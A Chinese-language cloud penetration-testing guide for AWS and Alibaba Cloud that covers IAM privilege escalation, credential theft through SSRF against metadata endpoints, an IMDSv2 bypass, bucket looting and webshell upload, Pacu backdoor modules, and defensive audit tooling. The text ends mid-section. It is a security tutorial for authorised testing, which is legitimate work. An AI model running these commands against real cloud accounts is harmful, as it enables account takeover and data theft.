云安全攻防实战:AWS与阿里云渗透测试全流程指南

【合规声明】 本文所述技术仅用于授权范围内的安全测试与防御研究。未经授权对云环境进行渗透测试属于违法行为,可能违反《网络安全法》《数据安全法》及云服务商相关协议。AWS 渗透测试需遵守其官方渗透测试政策(部分服务无需报备即可测试,如 EC2、S3、Lambda 等;DDoS 类测试严禁进行)。阿里云渗透测试须提前通过工单或安全中心报备,获得书面授权后方可执行。请务必在合法授权前提下使用本文技术,作者不对任何滥用行为承担责任。

前言

随着企业业务全面上云,云环境已成为红队攻防的核心战场。与传统内网渗透不同,云安全攻防围绕身份(IAM)、凭据(AccessKey/Token)、元数据服务(IMDS)、存储桶权限等云原生资产展开。一次 AccessKey 泄露,攻击者即可在数分钟内完成从代码仓库到云资源接管的全链路入侵。

本文以 AWS 与阿里云两大主流公有云为对象,系统梳理云安全攻防全流程,涵盖 IAM、存储、计算、数据库、网络、控制台六大攻击面,并提供真实可用的 CLI 命令、SSRF 利用手法、自动化审计工具链及 4 个完整实战案例。

一、云安全概述与攻击面分析

1.1 云服务模型与责任共担

云服务分为 IaaS、PaaS、SaaS 三种模型,不同模型下用户与云厂商的安全责任边界不同。理解责任共担模型(Shared Responsibility Model)是开展云渗透的前提。

服务模型 用户负责 云厂商负责 典型服务
IaaS 操作系统、应用、数据、网络配置、IAM 物理设施、虚拟化层、宿主机 EC2、ECS、VPC
PaaS 应用代码、数据、访问控制 操作系统、运行时、中间件 Lambda、RDS、函数计算
SaaS 数据、用户账号、访问权限 应用、中间件、操作系统、基础设施 Office365、钉钉

【提示】 责任共担的核心原则:云厂商负责"云本身的安全"(Security of the Cloud),用户负责"云上使用的安全"(Security in the Cloud)。渗透测试的主要目标始终是用户侧负责的资产。

1.2 云安全 vs 传统安全对比

维度 传统安全 云安全
边界模型 物理网络边界(防火墙/DMZ) 身份边界(IAM 策略/信任策略)
凭据类型 域账号/本地账号 AccessKey/临时凭证/Role
攻击入口 漏洞利用/钓鱼/社工 凭据泄露/SSRF/配置错误/存储桶公开
横向移动 内网扫描/Pass-the-Hash AssumeRole/跨账号/跨区域
权限提升 提权漏洞/配置错误 IAM 策略错误/过度授权
数据外泄 文件传输/隐蔽通道 存储桶同步/快照共享/API 批量下载
审计溯源 日志服务器/SIEM CloudTrail/ActionTrail/API 调用日志

1.3 云攻击面分类

云攻击面围绕云资产与配置错误展开,可归纳为六大类。

攻击面 AWS 服务 阿里云服务 常见风险
IAM 身份管理 IAM、STS、Organizations RAM、STS 凭据泄露、过度授权、权限提升
存储服务 S3、EBS、EFS OSS、NAS、云盘 存储桶公开、ACL 错误、数据泄露
计算服务 EC2、Lambda、ECS ECS、函数计算、ECI 元数据泄露、UserData 泄露、SSRF
数据库服务 RDS、DynamoDB、Redshift RDS、PolarDB、Tablestore 公开访问、快照泄露、弱口令
网络服务 VPC、Route 53、CloudFront VPC、云解析、CDN 安全组过宽、子域名接管、对等连接
管理控制台 CloudTrail、Console ActionTrail、控制台 MFA 缺失、Root 滥用、日志未启用

【提示】 云渗透的黄金法则是:"身份即边界"。拿到一个高权限 AccessKey,等同于传统渗透中拿到域管账号。

二、IAM 身份与访问管理安全

IAM 是云安全的基石,也是云渗透的首要目标。攻防双方的核心博弈围绕"谁能以什么身份访问什么资源"展开。

2.1 AWS IAM 核心概念

AWS IAM 由四类实体组成:

实体 说明 渗透关注点
User(用户) 长期身份,持有 AccessKey AccessKey 泄露即账号沦陷
Group(用户组) 用户的集合,统一授权 组策略过宽导致成员越权
Role(角色) 短期身份,通过 STS AssumeRole 获取 信任策略配置错误可被跨账号劫持
Policy(策略) JSON 格式权限定义 通配符 * 滥用、NotAction 绕过

策略审计常用命令:

bash 复制代码
# 列出用户直接附加的策略
aws iam list-attached-user-policies --user-name <用户名>

# 列出用户所属组的策略
aws iam list-groups-for-user --user-name <用户名>
aws iam list-attached-group-policies --group-name <组名>

# 查看策略具体内容(版本与文档)
aws iam get-policy --policy-arn arn:aws:iam::123456789012:policy/MyPolicy
aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/MyPolicy --version-id v1

# 列出所有用户、角色、策略
aws iam list-users
aws iam list-roles
aws iam list-policies --scope Local

# 获取当前调用者身份与权限范围
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name <角色名>

权限提升路径分析是 IAM 渗透的关键。常见提权路径包括:

bash 复制代码
# 路径1:拥有 iam:CreatePolicyVersion 权限,可创建新版本并设为默认版本,直接赋予自己任意权限
aws iam create-policy-version --policy-arn arn:aws:iam::123456789012:policy/MyPolicy --policy-document file://admin_policy.json --set-as-default

# 路径2:拥有 iam:AttachUserPolicy,可给自己附加 AdministratorAccess
aws iam attach-user-policy --user-name <当前用户> --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# 路径3:拥有 sts:AssumeRole,可切换到高权限角色
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/AdminRole --role-session-name pentest

# 路径4:拥有 iam:CreateAccessKey,可为任意用户创建 AccessKey
aws iam create-access-key --user-name <目标用户>

Pacu 是 AWS 专属的渗透测试框架(类似 Metasploit 的云版本),支持自动化权限提升与横向移动。

bash 复制代码
# 安装 Pacu
git clone https://github.com/RhinoSecurityLabs/pacu.git
cd pacu
pip install -r requirements.txt
python pacu.py

# 在 Pacu 交互式 shell 中
Pacu (imported:None) > import_keys <profile_name>      # 导入 AWS 凭据
Pacu (test:NoData) > whoami                            # 查看当前身份与权限
Pacu (test:NoData) > run iam__enum_users               # 枚举所有 IAM 用户
Pacu (test:NoData) > run iam__enum_permissions         # 枚举当前权限
Pacu (test:NoData) > run iam__privesc_scan             # 自动扫描权限提升路径
Pacu (test:NoData) > run lambda__backdoor_new_roles    # 后门新建角色

2.2 阿里云 RAM

阿里云资源访问管理(RAM)对应 AWS IAM,核心概念一致但命名略有差异。

阿里云概念 对应 AWS 概念 说明
RAM 用户 IAM User 长期身份,持有 AccessKey
RAM 角色 IAM Role 通过 STS AssumeRole 获取临时凭证
权限策略 Policy 支持 SystemPolicy 与 CustomPolicy
用户组 Group 统一授权

AccessKey 管理命令(aliyun CLI):

bash 复制代码
# 配置 aliyun CLI 凭据
aliyun configure set --profile default --mode AK --access-key-id <AK> --access-key-secret <SK> --region cn-hangzhou

# 列出 RAM 用户
aliyun ram ListUsers

# 查询指定用户的 AccessKey 列表
aliyun ram ListAccessKeys --UserName <用户名>

# 列出附加给用户的策略
aliyun ram ListPoliciesForUser --UserName <用户名>

# 获取策略详情
aliyun ram GetPolicy --PolicyName <策略名> --PolicyType Custom

# 查看当前调用者身份
aliyun sts GetCallerIdentity

【提示】 阿里云主账号(Root)的 AccessKey 权限等同于全部资源控制权。任何场景都不应为 Root 创建 AccessKey,应使用 RAM 用户并遵循最小权限原则。

2.3 凭据泄露与利用

凭据泄露是云安全事件的最主要入口。常见泄露途径包括:

泄露途径 典型场景 检测方法
代码仓库泄露 GitHub/GitLab 提交硬编码 AK GitHub 搜索 AKIALTAI 关键字
配置文件泄露 .env / config.js / application.yml 打包进前端 网站源码扫描、目录爆破
元数据泄露 SSRF 访问 IMDS 获取实例角色凭证 SSRF 漏洞测试
日志/报错泄露 错误堆栈打印 AK 日志监控
移动端反编译 APK/IPA 内嵌 AK 反编译工具
2.3.1 SSRF 获取 AWS 元数据临时凭证

AWS EC2 元数据服务(IMDSv1)位于 169.254.169.254,无需认证即可访问。当应用存在 SSRF 时,攻击者可获取挂载在实例上的 IAM 角色临时凭证。

bash 复制代码
# 步骤1:通过 SSRF 获取实例挂载的 IAM 角色名称
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 步骤2:获取角色对应的临时凭证(AccessKeyId/SecretAccessKey/Token)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<角色名>

# 返回示例:
# {
#   "AccessKeyId": "ASIAxxxxxxxxxxxx",
#   "SecretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxx",
#   "Token": "FwoGxxxxxxxxxxxx...",
#   "Expiration": "2026-08-14T10:30:00Z"
# }

拿到临时凭证后,配置 AWS CLI 即可使用:

bash 复制代码
# 方式1:通过环境变量配置(注意 Token 必须设置)
export AWS_ACCESS_KEY_ID=ASIAxxxxxxxxxxxx
export AWS_SECRET_ACCESS_KEY=xxxxxxxxxxxxxxxxxxxxxxxx
export AWS_SESSION_TOKEN=FwoGxxxxxxxxxxxx...

# 方式2:写入 ~/.aws/credentials
[ssrf-role]
aws_access_key_id = ASIAxxxxxxxxxxxx
aws_secret_access_key = xxxxxxxxxxxxxxxxxxxxxxxx
aws_session_token = FwoGxxxxxxxxxxxx...

# 验证身份
aws sts get-caller-identity --profile ssrf-role
2.3.2 SSRF 获取阿里云元数据 RAM 凭证

阿里云 ECS 元数据服务位于 100.100.100.200,同样无需认证。通过 SSRF 可获取实例绑定的 RAM 角色临时凭证。

bash 复制代码
# 步骤1:获取实例绑定的 RAM 角色名称
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/

# 步骤2:获取角色临时凭证
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/<角色名>

# 返回示例:
# {
#   "AccessKeyId": "STS.xxxxxxxxxxxx",
#   "AccessKeySecret": "xxxxxxxxxxxxxxxx",
#   "Expiration": "2026-08-14T11:00:00Z",
#   "SecurityToken": "CAISxxxxxxxxxxxx...",
#   "LastUpdated": "2026-08-14T09:00:00Z"
# }

配置 aliyun CLI 使用临时凭证:

bash 复制代码
# 通过 StsToken 模式配置
aliyun configure set --profile ssrf-role --mode StsToken \
  --access-key-id STS.xxxxxxxxxxxx \
  --access-key-secret xxxxxxxxxxxxxxxx \
  --sts-token CAISxxxxxxxxxxxx... \
  --region cn-hangzhou

# 验证身份
aliyun sts GetCallerIdentity --profile ssrf-role

【提示】 临时凭证有效期通常为 1~6 小时,过期后需重新通过元数据接口获取。自动化利用脚本应包含凭证刷新逻辑。

2.3.3 凭据权限评估

拿到凭据后的第一步是评估其权限范围,判断可操作的资源与可利用的提权路径。

bash 复制代码
# AWS:枚举当前身份所有权限
aws iam list-attached-user-policies --user-name <用户名>
aws iam list-user-policies --user-name <用户名>
aws iam simulate-principal-policy --policy-source-arn arn:aws:iam::123456789012:user/<用户名> --action-names s3:ListAllMyBuckets iam:ListUsers

# AWS:使用 Pacu 自动化枚举与提权扫描
Pacu (test:NoData) > run iam__enum_permissions
Pacu (test:NoData) > run iam__privesc_scan

# 阿里云:枚举权限
aliyun ram ListPoliciesForUser --UserName <用户名>

2.4 IAM 攻击工具汇总

工具 适用平台 功能 典型命令
Pacu AWS 权限枚举、提权扫描、横向移动 run iam__privesc_scan
CloudGoat AWS 场景化靶场(模拟真实漏洞链) ./cloudgoat.py config profile
ScoutSuite AWS/Aliyun/多云 配置审计、风险可视化 scout aws --profile <name>
Prowler AWS CIS 基线检查、合规审计 prowler aws -c check13
CloudFox AWS/Azure/GCP 权限可视化、可达性分析 cloudfox aws all-checks

三、存储服务安全

对象存储(S3/OSS)是云上数据泄露的高发区。存储桶权限配置错误会导致海量敏感数据暴露公网。

3.1 AWS S3 安全

S3 常见安全配置项:

配置项 风险说明 安全建议
Block Public Access 未开启则存储桶可能被公开访问 账号级与桶级均开启
Bucket Policy 通配符 * 导致匿名访问 严格限制 Principal
Bucket ACL public-read/public-read-write 公开 禁用 ACL,使用 Policy
默认加密 未加密静态数据 开启 SSE-S3 或 SSE-KMS
版本控制 未开启无法恢复误删/覆盖 开启 Versioning + MFA Delete

存储桶枚举与权限检测命令:

bash 复制代码
# 列出当前账号所有存储桶
aws s3 ls

# 列出所有桶并显示区域
aws s3api list-buckets --query 'Buckets[].Name' --output text

# 检测存储桶 ACL
aws s3api get-bucket-acl --bucket <桶名>

# 检测存储桶策略
aws s3api get-bucket-policy --bucket <桶名>

# 检测是否开启 Block Public Access
aws s3api get-public-access-block --bucket <桶名>

# 检测是否开启版本控制
aws s3api get-bucket-versioning --bucket <桶名>

# 检测是否开启加密
aws s3api get-bucket-encryption --bucket <桶名>

# 列出桶内对象(分页)
aws s3api list-objects-v2 --bucket <桶名> --query 'Contents[].{Key:Key,Size:Size}' --output table

匿名访问测试(无需凭据,模拟公网攻击者):

bash 复制代码
# 测试存储桶是否可匿名列举
curl -s https://<桶名>.s3.amazonaws.com/

# 测试是否可匿名下载对象
curl -s https://<桶名>.s3.amazonaws.com/<对象Key>

# 使用 awscli 匿名访问(不携带凭据)
aws s3 ls s3://<桶名> --no-sign-request
aws s3 cp s3://<桶名>/secret.txt ./secret.txt --no-sign-request

数据窃取与写入利用:

bash 复制代码
# 批量下载桶内全部数据
aws s3 sync s3://<桶名> ./looted-bucket/

# 上传 Webshell 或后门文件到公开桶(写入利用)
aws s3 cp shell.php s3://<桶名>/

# 删除对象(破坏性操作,仅授权测试)
aws s3 rm s3://<桶名>/<对象Key>

存储桶名爆破(针对未知目标):

bash 复制代码
# 使用 slurp 或 lazys3 进行存储桶名枚举
# slurp
slurp amazon -t <目标域名或公司名>

# 自定义字典爆破
while read bucket; do
  status=$(curl -s -o /dev/null -w "%{http_code}" https://${bucket}.s3.amazonaws.com/)
  if [ "$status" != "404" ]; then
    echo "[+] Found: $bucket ($status)"
  fi
done < buckets.txt

3.2 阿里云 OSS 安全

OSS 读写权限类型:

权限类型 说明 风险
private 私有,需签名访问 安全(默认)
public-read 匿名可读 数据泄露
public-read-write 匿名可读写 数据泄露与篡改

OSS 安全命令(aliyun CLI 与 ossutil):

bash 复制代码
# 列出所有 OSS Bucket
aliyun oss ls
ossutil ls

# 查看 Bucket 访问权限(ACL)
aliyun oss bucket acl --bucket <桶名>
ossutil getbucketacl oss://<桶名>

# 查看 Bucket 策略
aliyun oss bucket-policy --bucket <桶名> --method get

# 查看防盗链配置
aliyun oss bucket referer --bucket <桶名> --method get

# 查看是否开启日志
aliyun oss bucket logging --bucket <桶名> --method get

# 匿名访问测试(模拟公网攻击者)
curl -s https://<桶名>.<endpoint>/?list-type=2
curl -s https://<桶名>.<endpoint>/<对象Key>

# 下载对象
ossutil cp oss://<桶名>/<对象Key> ./

【提示】 阿里云 OSS 的 Endpoint 格式为 <桶名>.<region>.aliyuncs.com。不同区域 Endpoint 不同,如 oss-cn-hangzhou.aliyuncs.comoss-cn-beijing.aliyuncs.com

3.3 存储检测工具对比

工具 平台 功能 命令示例
aws s3api AWS 官方 CLI 检测桶权限 aws s3api get-bucket-acl
S3Scanner AWS 批量扫描公开桶 s3scanner scan --buckets-file list.txt
BucketFinder AWS 桶名爆破 python bucket_finder.py
ossutil 阿里云 OSS 官方工具 ossutil getbucketacl
ScoutSuite 多云 配置审计 scout aws --profile <name>

3.4 存储安全最佳实践

  • 账号级与桶级均开启 Block Public Access(AWS)或保持 private 权限(阿里云)
  • 启用服务端加密(SSE-KMS / OSS 服务端加密)
  • 启用版本控制与 MFA 删除保护
  • 使用 Bucket Policy 限制访问来源 IP 与 VPC Endpoint
  • 配置生命周期策略,自动迁移冷数据并清理过期对象
  • 定期审计存储桶权限,使用 Config 或安全中心监控变更

四、计算服务安全

计算服务(EC2/ECS/Lambda)是云上业务承载的核心,元数据服务泄露与 UserData 敏感信息是最常见的攻击向量。

4.1 AWS EC2 安全

安全组审计命令:

bash 复制代码
# 列出所有安全组
aws ec2 describe-security-groups --query 'SecurityGroups[].{Name:GroupName,Id:GroupId}' --output table

# 查看安全组规则详情(入站与出站)
aws ec2 describe-security-groups --group-ids <安全组ID>

# 查询所有对 0.0.0.0/0 开放的端口(高风险排查)
aws ec2 describe-security-groups --filters Name=ip-permission.cidr,Values=0.0.0.0/0 \
  --query 'SecurityGroups[].{Name:GroupName,Ingress:IpPermissions}' --output table

# 列出所有 EC2 实例
aws ec2 describe-instances --query 'Reservations[].Instances[].{Id:InstanceId,IP:PrivateIpAddress,Role:IamInstanceProfile.Arn}' --output table
4.1.1 元数据服务 SSRF 获取 IAM 角色凭证

这是云渗透中最经典的攻击链。当 EC2 上的应用存在 SSRF 漏洞时,攻击者可通过元数据服务获取实例挂载的 IAM 角色临时凭证,进而横向到云资源。

完整流程:

bash 复制代码
# 步骤1:通过 SSRF 探测元数据服务
curl http://169.254.169.254/latest/meta-data/

# 步骤2:获取实例挂载的 IAM 角色名
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 步骤3:获取角色临时凭证(AccessKeyId/SecretAccessKey/Token)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<角色名>

# 步骤4:配置 AWS CLI 使用临时凭证
export AWS_ACCESS_KEY_ID=<返回的AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<返回的SecretAccessKey>
export AWS_SESSION_TOKEN=<返回的Token>

# 步骤5:验证身份并枚举权限
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name <角色名>

# 步骤6:利用角色权限操作云资源(如列出 S3 桶)
aws s3 ls
4.1.2 IMDSv2 防护与绕过

AWS 推出 IMDSv2 以缓解 SSRF 攻击。IMDSv2 要求先通过 PUT 请求获取 Token,再携带 Token 访问元数据。

bash 复制代码
# IMDSv2 标准访问流程
# 步骤1:获取 Session Token(PUT 请求)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# 步骤2:携带 Token 访问元数据
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/<角色名>

IMDSv2 绕过思路(仅在实例同时支持 IMDSv1 与 IMDSv2 时有效):

bash 复制代码
# 绕过1:若实例未强制要求 IMDSv2,仍可直接用 IMDSv1 访问
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<角色名>

# 绕过2:某些 SSRF 漏洞支持自定义请求方法,可构造 PUT 请求获取 Token
# 伪代码示例(视 SSRF 漏洞具体实现而定):
# ssrf_url=http://169.254.169.254/latest/api/token
# method=PUT
# headers={"X-aws-ec2-metadata-token-ttl-seconds":"21600"}

【提示】 彻底防御元数据泄露的唯一方法是强制使用 IMDSv2(HttpTokens: required)并将跳数限制为 1(HopLimit: 1),同时修复应用层 SSRF 漏洞。

bash 复制代码
# 检查实例是否强制使用 IMDSv2
aws ec2 describe-instances --instance-ids <实例ID> \
  --query 'Reservations[].Instances[].MetadataOptions' --output table

# 修改实例元数据选项为强制 IMDSv2
aws ec2 modify-instance-metadata-options --instance-id <实例ID> --http-tokens required --http-put-response-hop-limit 1
4.1.3 UserData 敏感信息

EC2 UserData 常用于实例启动时执行初始化脚本,开发者可能在其中硬编码密钥、密码。

bash 复制代码
# 获取实例 UserData(可能包含明文密钥)
aws ec2 describe-instance-attribute --instance-id <实例ID> --attribute userData --query 'UserData.Value' --output text | base64 -d

4.2 AWS Lambda 安全

Lambda 函数的环境变量、执行角色与事件源是主要攻击面。

bash 复制代码
# 列出所有 Lambda 函数
aws lambda list-functions --query 'Functions[].{Name:FunctionName,Role:Role,Runtime:Runtime}' --output table

# 获取函数配置(含环境变量)
aws lambda get-function-configuration --function-name <函数名>

# 获取函数代码下载地址
aws lambda get-function --function-name <函数名> --query 'Code.Location' --output text

# 查看函数执行角色权限
aws iam list-attached-role-policies --role-name <角色名>

# 列出事件源映射(如 SQS/Kinesis 触发器,可被注入恶意数据)
aws lambda list-event-source-mappings --function-name <函数名>

【提示】 Lambda 环境变量若包含数据库密码、API Key 等敏感信息,获取函数配置即可直接读取。应使用 KMS 加密环境变量或将敏感信息存入 Secrets Manager。

4.3 阿里云 ECS 安全

安全组审计与元数据获取命令:

bash 复制代码
# 列出所有安全组
aliyun ecs DescribeSecurityGroups --RegionId cn-hangzhou

# 查看安全组规则
aliyun ecs DescribeSecurityGroupAttribute --SecurityGroupId <安全组ID> --RegionId cn-hangzhou

# 列出所有 ECS 实例
aliyun ecs DescribeInstances --RegionId cn-hangzhou

# 查看实例UserData(可能含明文密钥)
aliyun ecs DescribeInstanceUserData --InstanceId <实例ID> --RegionId cn-hangzhou
4.3.1 阿里云 ECS 元数据获取 RAM 凭证

完整请求示例:

bash 复制代码
# 步骤1:获取实例绑定的 RAM 角色名称
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/

# 步骤2:获取 RAM 角色临时凭证
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/<角色名>

# 步骤3:获取实例基本信息(辅助信息收集)
curl http://100.100.100.200/latest/meta-data/instance-id
curl http://100.100.100.200/latest/meta-data/region-id
curl http://100.100.100.200/latest/meta-data/instance-type

# 步骤4:配置 aliyun CLI 使用临时凭证
aliyun configure set --profile ecs-role --mode StsToken \
  --access-key-id <AccessKeyId> \
  --access-key-secret <AccessKeySecret> \
  --sts-token <SecurityToken> \
  --region <region-id>

# 步骤5:验证身份并枚举权限
aliyun sts GetCallerIdentity --profile ecs-role
aliyun ram ListPoliciesForUser --UserName <用户名>

【提示】 阿里云元数据服务目前无 IMDSv2 等强制 Token 机制,SSRF 防护依赖应用层。建议通过安全组规则限制元数据服务的访问来源,并为 ECS 不绑定 RAM 角色或仅绑定最小权限角色。

4.4 计算服务检测命令汇总

检测项 AWS 命令 阿里云命令
安全组审计 aws ec2 describe-security-groups aliyun ecs DescribeSecurityGroups
实例列表 aws ec2 describe-instances aliyun ecs DescribeInstances
元数据凭证 curl 169.254.169.254/.../iam/... curl 100.100.100.200/.../ram/...
UserData aws ec2 describe-instance-attribute aliyun ecs DescribeInstanceUserData
实例角色 aws ec2 describe-instances --query ...IamInstanceProfile aliyun ecs DescribeInstanceRamRole
IMDSv2 状态 aws ec2 describe-instances --query ...MetadataOptions 暂无对应机制
函数列表 aws lambda list-functions aliyun fc ListFunctions

五、数据库服务安全

数据库服务公开访问、快照权限不当是云上数据泄露的另一高发区。

5.1 AWS 数据库安全

bash 复制代码
# RDS:列出所有实例
aws rds describe-db-instances --query 'DBInstances[].{Id:DBInstanceIdentifier,Engine:Engine,Endpoint:Endpoint.Address,Public:PubliclyAccessible}' --output table

# 检测 RDS 是否公开可访问(PubliclyAccessible=true 为高风险)
aws rds describe-db-instances --query 'DBInstances[?PubliclyAccessible==`true`].DBInstanceIdentifier' --output table

# 列出 RDS 快照(快照可能被共享给其他账号导致泄露)
aws rds describe-db-snapshots --query 'DBSnapshots[].{Id:DBSnapshotIdentifier,Status:Status}' --output table

# 查看快照共享情况
aws rds describe-db-snapshot-attributes --db-snapshot-identifier <快照ID>

# DynamoDB:列出所有表
aws dynamodb list-tables

# 查看表权限(资源策略)
aws dynamodb describe-table --table-name <表名>

# 检查表是否可公开访问(通过资源策略)
aws dynamodb get-resource-policy --resource-arn arn:aws:dynamodb:<region>:<account>:table/<表名>

5.2 阿里云数据库安全

bash 复制代码
# RDS:列出所有实例
aliyun rds DescribeDBInstances --RegionId cn-hangzhou

# 查看 RDS 白名单(IP 访问控制)
aliyun rds DescribeDBInstanceIPArrayList --DBInstanceId <实例ID>

# 查看数据库账号与权限
aliyun rds DescribeAccounts --DBInstanceId <实例ID>

# 查看实例网络类型与连接地址
aliyun rds DescribeDBInstanceNetInfo --DBInstanceId <实例ID>

# 列出备份集
aliyun rds DescribeBackups --DBInstanceId <实例ID>

5.3 数据库安全最佳实践

风险项 防护措施
公开访问 关闭 PubliclyAccessible,仅允许 VPC 内访问
白名单过宽 收紧 IP 白名单,禁止 0.0.0.0/0
快照泄露 禁止快照公开共享,定期审计共享列表
弱口令 强制密码复杂度策略,定期轮换
传输加密 强制开启 SSL/TLS 连接
静态加密 开启 TDE(透明数据加密)或云盘加密
权限过大 遵循最小权限,按库/表粒度授权

六、网络服务安全

6.1 AWS 网络安全

bash 复制代码
# 列出所有 VPC
aws ec2 describe-vpcs --query 'Vpcs[].{Id:VpcId,Cidr:CidrBlock,Name:Tags[?Key==`Name`].Value|[0]}' --output table

# 列出子网
aws ec2 describe-subnets --query 'Subnets[].{Id:SubnetId,Cidr:CidrBlock,Vpc:VpcId}' --output table

# 列出网络 ACL
aws ec2 describe-network-acls

# 列出对等连接(跨 VPC/账号连接,可能被利用横向移动)
aws ec2 describe-vpc-peering-connections --query 'VpcPeeringConnections[].{Id:VpcPeeringConnectionId,Status:Status.Code}' --output table

# 查看路由表
aws ec2 describe-route-tables --query 'RouteTables[].{VpcId:VpcId,Routes:Routes}' --output table
6.1.1 Route 53 子域名接管

当 Route 53 中存在指向已删除资源(如 S3 桶、CloudFront、ELB)的 DNS 记录时,攻击者可重新创建该资源实现子域名接管。

bash 复制代码
# 列出所有托管区域
aws route53 list-hosted-zones

# 列出区域内的 DNS 记录
aws route53 list-resource-record-sets --hosted-zone-id <区域ID> \
  --query 'ResourceRecordSets[].{Name:Name,Type:Type,Value:ResourceRecords|[0].Value}' --output table

# 检测 CNAME 指向的资源是否存在(如指向 S3 桶)
curl -s http://<子域名> -o /dev/null -w "%{http_code}"
# 返回 404 NoSuchBucket 则可能存在接管

6.2 阿里云网络安全

bash 复制代码
# 列出所有 VPC
aliyun vpc DescribeVpcs --RegionId cn-hangzhou

# 列出 VPC 下的交换机
aliyun vpc DescribeVSwitches --VpcId <VPC ID> --RegionId cn-hangzhou

# 查看路由表
aliyun vpc DescribeRouteTableList --VpcId <VPC ID> --RegionId cn-hangzhou

# 查看安全组规则
aliyun ecs DescribeSecurityGroupAttribute --SecurityGroupId <安全组ID> --RegionId cn-hangzhou

6.3 网络安全检测命令汇总

检测项 AWS 命令 阿里云命令
VPC 列表 aws ec2 describe-vpcs aliyun vpc DescribeVpcs
安全组 aws ec2 describe-security-groups aliyun ecs DescribeSecurityGroups
网络 ACL aws ec2 describe-network-acls 暂无对应
对等连接 aws ec2 describe-vpc-peering-connections aliyun vpc DescribeVpcPeers
路由表 aws ec2 describe-route-tables aliyun vpc DescribeRouteTableList
DNS 记录 aws route53 list-resource-record-sets aliyun alidns DescribeDomainRecords

七、管理控制台安全

7.1 AWS 控制台安全

CloudTrail 日志审计是云上溯源的核心。

bash 复制代码
# 检查 CloudTrail 是否启用
aws cloudtrail describe-trails --query 'trailList[].{Name:Name,Status:IsLogging}' --output table

# 查询最近 API 调用事件(按事件名过滤)
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=ConsoleLogin --max-results 50

# 查询特定用户的 API 调用记录
aws cloudtrail lookup-events --lookup-attributes AttributeKey=Username,AttributeValue=<用户名> --max-results 50

# 查询 AccessKey 相关事件(凭据泄露溯源)
aws cloudtrail lookup-events --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=<AK>

# 检查账号密码策略
aws iam get-account-password-policy

# 检查 MFA 状态(Root 与 IAM 用户)
aws iam get-account-summary
aws iam list-virtual-mfa-devices

# 检查 Root 最近登录与使用情况
aws iam generate-credential-report
aws iam get-credential-report --query 'Content' --output text | base64 -d

7.2 阿里云控制台安全

ActionTrail 是阿里云的操作审计服务。

bash 复制代码
# 列出 ActionTrail 配置
aliyun actiontrail DescribeTrails

# 查询操作事件(按事件名过滤)
aliyun actiontrail LookupEvents --EventName ConsoleSignin --MaxResults 50

# 查询指定用户操作记录
aliyun actiontrail LookupEvents --EventRW All --MaxResults 50

# 查看主账号与 RAM 用户列表
aliyun ram ListUsers

# 查看 RAM 用户登录配置(是否开启 MFA)
aliyun ram GetUser --UserName <用户名>

# 列出 MFA 设备
aliyun ram ListVirtualMFADevices

7.3 控制台安全最佳实践

安全项 AWS 建议 阿里云建议
Root 账号 禁用 AccessKey、开启 MFA、日常不使用 禁用主账号 AccessKey、开启 MFA
IAM 用户 强制 MFA、最小权限、定期轮换 强制 MFA、最小权限、定期轮换
密码策略 强复杂度、90 天轮换 强复杂度、90 天轮换
操作审计 CloudTrail 全区域启用、日志加密 ActionTrail 全区域启用、投递到 OSS
异常登录 配置 CloudWatch 告警 配置安全中心告警
控制台访问 限制来源 IP(SCP/Condition) 限制来源 IP(访问控制策略)

八、云安全自动化审计

8.1 AWS 自动化审计

8.1.1 Config 规则
bash 复制代码
# 列出 Config 规则
aws configservice describe-config-rules --query 'ConfigRules[].{Name:ConfigRuleName,State:ConfigRuleState}' --output table

# 查看合规性评估结果
aws configservice describe-compliance-by-config-rule --query 'ComplianceByConfigRules[].{Rule:ConfigRuleName,Status:Compliance.ComplianceType}' --output table
8.1.2 Security Hub
bash 复制代码
# 启用 Security Hub
aws securityhub enable-security-hub

# 查看安全发现(findings)
aws securityhub get-findings --query 'Findings[].{Title:Title,Severity:Severity.Label,Resource:Resources[0].Type}' --output table
8.1.3 CloudTrail 日志分析
bash 复制代码
# 查询最近 24 小时高危操作(如创建 AccessKey、修改策略)
aws cloudtrail lookup-events --start-time $(date -u -d '24 hours ago' +%Y-%m-%dT%H:%M:%S) --end-time $(date -u +%Y-%m-%dT%H:%M:%S) \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreateAccessKey

# 查询无服务器登录(API 调用而非控制台)
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole
8.1.4 Pacu 框架使用
bash 复制代码
# 安装与启动
git clone https://github.com/RhinoSecurityLabs/pacu.git
cd pacu && pip install -r requirements.txt
python pacu.py

# 导入凭据并执行模块
Pacu> import_keys default
Pacu (test:NoData)> whoami
Pacu (test:NoData)> run iam__enum_users
Pacu (test:NoData)> run iam__enum_permissions
Pacu (test:NoData)> run iam__privesc_scan
Pacu (test:NoData)> run s3__bucket_finder
Pacu (test:NoData)> run lambda__enum
Pacu (test:NoData)> run ec2__enum
Pacu (test:NoData)> sessions <会话名>   # 切换/保存会话
8.1.5 ScoutSuite 扫描
bash 复制代码
# 安装
pip install scoutsuite

# 执行 AWS 扫描
scout aws --profile <profile名>

# 执行阿里云扫描
scout aliyun --access-key-id <AK> --access-key-secret <SK> --region cn-hangzhou

# 扫描结果生成 HTML 报告(位于 scoutsuite-output/report.html)
8.1.6 Prowler CIS 检查
bash 复制代码
# 安装
pip install prowler

# 执行全量 CIS 基线检查
